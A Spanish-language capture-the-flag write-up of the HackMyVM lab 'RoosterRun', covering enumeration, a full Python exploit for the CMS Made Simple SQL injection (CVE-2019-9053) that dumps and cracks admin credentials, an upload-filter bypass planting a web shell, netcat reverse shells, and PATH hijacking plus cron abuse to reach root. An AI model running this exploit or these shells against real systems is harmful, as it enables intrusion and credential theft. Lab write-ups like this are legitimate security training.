HackMyVM - RoosterRun
- CMS Made Simple - CVE-2019-9053
- Upload File - Bypass Extension
- Abuse Cron - StaleFinder Binary
- Abuse Cron Script - Privesc
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.13
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,80 192.168.1.13
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
| 256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA)
|_ 256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.57 (Debian)
|_http-favicon: Unknown favicon MD5: 551E34ACF2930BF083670FA203420993
|_http-generator: CMS Made Simple - Copyright (C) 2004-2023. All rights reserved.
|_http-title: Home - Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP TCP - 80
Fuerza bruta de directorios.
❯ gobuster dir -u 192.168.1.13 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.13
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/modules (Status: 301) [Size: 314] [--> http://192.168.1.13/modules/]
/uploads (Status: 301) [Size: 314] [--> http://192.168.1.13/uploads/]
/doc (Status: 301) [Size: 310] [--> http://192.168.1.13/doc/]
/admin (Status: 301) [Size: 312] [--> http://192.168.1.13/admin/]
/assets (Status: 301) [Size: 313] [--> http://192.168.1.13/assets/]
/lib (Status: 301) [Size: 310] [--> http://192.168.1.13/lib/]
/tmp (Status: 301) [Size: 310] [--> http://192.168.1.13/tmp/]
/server-status (Status: 403) [Size: 277]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
En /admin
encuentro un panel de login.
Descargo este exploit y con on la ayuda de ChatGPT migro el exploit de python2 a python3.
#!/usr/bin/env python3
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053
import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)
options, args = parser.parse_args()
if not options.url:
print("[+] Specify an url target")
print("[+] Example usage (no cracking password): exploit.py -u http://target-uri")
print("[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist")
print("[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.")
exit()
url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""
salt = ''
wordlist = ""
if options.wordlist:
wordlist += options.wordlist
def crack_password():
global password
global output
global wordlist
global salt
dict_file = open(wordlist, encoding='latin-1')
for line in dict_file.readlines():
line = line.replace("\n", "")
beautify_print_try(line)
if hashlib.md5((str(salt) + line).encode()).hexdigest() == password:
output += "\n[+] Password cracked: " + line
break
dict_file.close()
def beautify_print_try(value):
global output
print("\033c")
cprint(output, 'green', attrs=['bold'])
cprint('[*] Try: ' + value, 'red', attrs=['bold'])
def beautify_print():
global output
print("\033c")
cprint(output, 'green', attrs=['bold'])
def dump_salt():
global flag
global salt
global output
ord_salt = ""
ord_salt_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_salt = salt + dictionary[i]
ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_salt)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
salt = temp_salt
ord_salt = ord_salt_temp
flag = True
output += '\n[+] Salt for password found: ' + salt
def dump_password():
global flag
global password
global output
ord_password = ""
ord_password_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_password = password + dictionary[i]
ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_password)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
password = temp_password
ord_password = ord_password_temp
flag = True
output += '\n[+] Password found: ' + password
def dump_username():
global flag
global db_name
global output
ord_db_name = ""
ord_db_name_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_db_name = db_name + dictionary[i]
ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_db_name)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
db_name = temp_db_name
ord_db_name = ord_db_name_temp
output += '\n[+] Username found: ' + db_name
flag = True
def dump_email():
global flag
global email
global output
ord_email = ""
ord_email_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_email = email + dictionary[i]
ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_email)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
email = temp_email
ord_email = ord_email_temp
output += '\n[+] Email found: ' + email
flag = True
dump_salt()
dump_username()
dump_email()
dump_password()
if options.cracking:
print(colored("[*] Now try to crack password"))
crack_password()
beautify_print()
Lanzo el exploit y en unos segundos encuentro las credenciales del usuario admin.
python3 exploit.py -u http://192.168.1.13 --crack -w /usr/share/wordlists/rockyou.txt
Accedo al panel de administrador.
Me voy a Content/File Manager
y si intento subir un archivo php automáticamente cancela la subida de archivo.
Abro burpsuite e intercepto la petición.
En la pestaña positions lo configuro de la siguiente forma.
En payloads settings
añado las siguientes extensiones, mas abajo en Payload encoding
desmarco la casilla URL-encode these characters
y le doy a Start attack
.
Refresco el File Manager
y veo que se han subido varios archivos.
Con cmd.phar
puedo ejecutar comandos.
Para obtener correctamente la shell hay que pasar el comando nc -c /bin/bash
a URL-Encode
.
❯ curl "http://192.168.1.13/uploads/images/cmd.phar?cmd=nc%20-c%20/bin/bash%20192.168.1.17%201234"
Obtengo la shell.
❯ nc -lvp 1234
listening on [any] 1234 ...
192.168.1.13: inverse host lookup failed: Unknown host
connect to [192.168.1.17] from (UNKNOWN) [192.168.1.13] 56424
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@rooSter-Run:/var/www/html/uploads/images$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@rooSter-Run:/var/www/html/uploads/images$
Enumero usuarios con el fichero passwd.
En el home de matthieu encuentro el fichero StaleFinder
.
#!/usr/bin/env bash
for file in ~/*; do
if [[ -f $file ]]; then
if [[ ! -s $file ]]; then
echo "$file is empty."
fi
if [[ $(find "$file" -mtime +365 -print) ]]; then
echo "$file hasn't been modified for over a year."
fi
fi
done
este script informa sobre los archivos en el directorio de inicio del usuario que están vacíos y aquellos que no han sido modificados en más de un año.
Con linpeas veo que el usuario www-data
tiene todo el acceso a /usr/local/bin
.
Con pspy veo que cada 1 minuto se lanza backup.sh
y el binario StaleFinder como usuario matthieu UID=1000
, ahora sólo nos interesa la tarea cron que lanza StaleFinder.
Con whereis veo que el binario bash se lanza desde /usr/bin
.
www-data@rooSter-Run:/usr/local/bin$ whereis bash
bash: /usr/bin/bash /usr/share/man/man1/bash.1.gz
Si observo el PATH del sistema se puede ver que /usr/local/bin
está antes que /usr/bin
.
www-data@rooSter-Run:/usr/local/bin$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Sabiendo esto puedo crear el archivo bash en /usr/local/bin
con el siguiente contenido.
nc -c /bin/bash 192.168.1.17 4444
De esta forma la tarea cron usará este archivo en vez del bash original de /usr/bin
. Con todo esto obtengo una shell de matthieu.
❯ nc -lvp 4444
listening on [any] 4444 ...
192.168.1.13: inverse host lookup failed: Unknown host
connect to [192.168.1.17] from (UNKNOWN) [192.168.1.13] 42230
id
uid=1000(matthieu) gid=1000(matthieu) groups=1000(matthieu),100(users)
En /opt/maintenance
hay el script backup.sh
este script es el que he visto anteriormente al usar pspy64.
#!/bin/bash
PROD="/opt/maintenance/prod-tasks"
PREPROD="/opt/maintenance/pre-prod-tasks"
for file in "$PREPROD"/*; do
if [[ -f $file && "${file##*.}" = "sh" ]]; then
cp "$file" "$PROD"
else
rm -f ${file}
fi
done
for file in "$PROD"/*; do
if [[ -f $file && ! -O $file ]]; then
rm ${file}
fi
done
/usr/bin/run-parts /opt/maintenance/prod-tasks
El script organiza y limpia archivos en los directorios de preproducción y producción, copia los scripts de shell relevantes de preproducción a producción, elimina archivos en producción que no son propiedad del usuario actual y, finalmente, ejecuta las tareas de producción.
Creo el archivo privesc.sh
en /opt/maintenance/pre-prod-tasks
.
#!/bin/sh
PROD="/opt/maintenance/prod-tasks"
PREPROD="/opt/maintenance/pre-prod-tasks"
FILE=priv.sh
echo '#!/bin/sh' > $PREPROD/priv.sh
echo 'chmod 4755 $(which bash)' >> $PREPROD/priv.sh
chmod +x $PREPROD/priv.sh
Lo lanzo y este creará el archivo priv.sh
en el directorio /prod/tasks
.
╭─matthieu@rooSter-Run /opt/maintenance
╰─$ ls prod-tasks
privesc.sh priv.sh
Entro en el directorio prod-tasks y renombro el archivo priv.sh
a priv ya que run-parts no ejecuta archivos .sh
.
╭─matthieu@rooSter-Run /opt/maintenance/prod-tasks
╰─$ mv priv.sh priv
╭─matthieu@rooSter-Run /opt/maintenance/prod-tasks
╰─$ ls -l
total 16
-rwxr-xr-x 1 root root 35 Dec 2 15:55 priv
-rw-r--r-- 1 root root 214 Dec 2 15:55 privesc.sh
Espero un minuto y observo que el binario bash ya tiene el bit de SUID.
╭─matthieu@rooSter-Run /opt/maintenance/prod-tasks
╰─$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1265648 Apr 23 2023 /bin/bash
Obtengo el root.
╭─matthieu@rooSter-Run /opt/maintenance/prod-tasks
╰─$ bash -p
bash-5.2# whoami
root
Y aquí termina la máquina RoosterRun.
Saludos!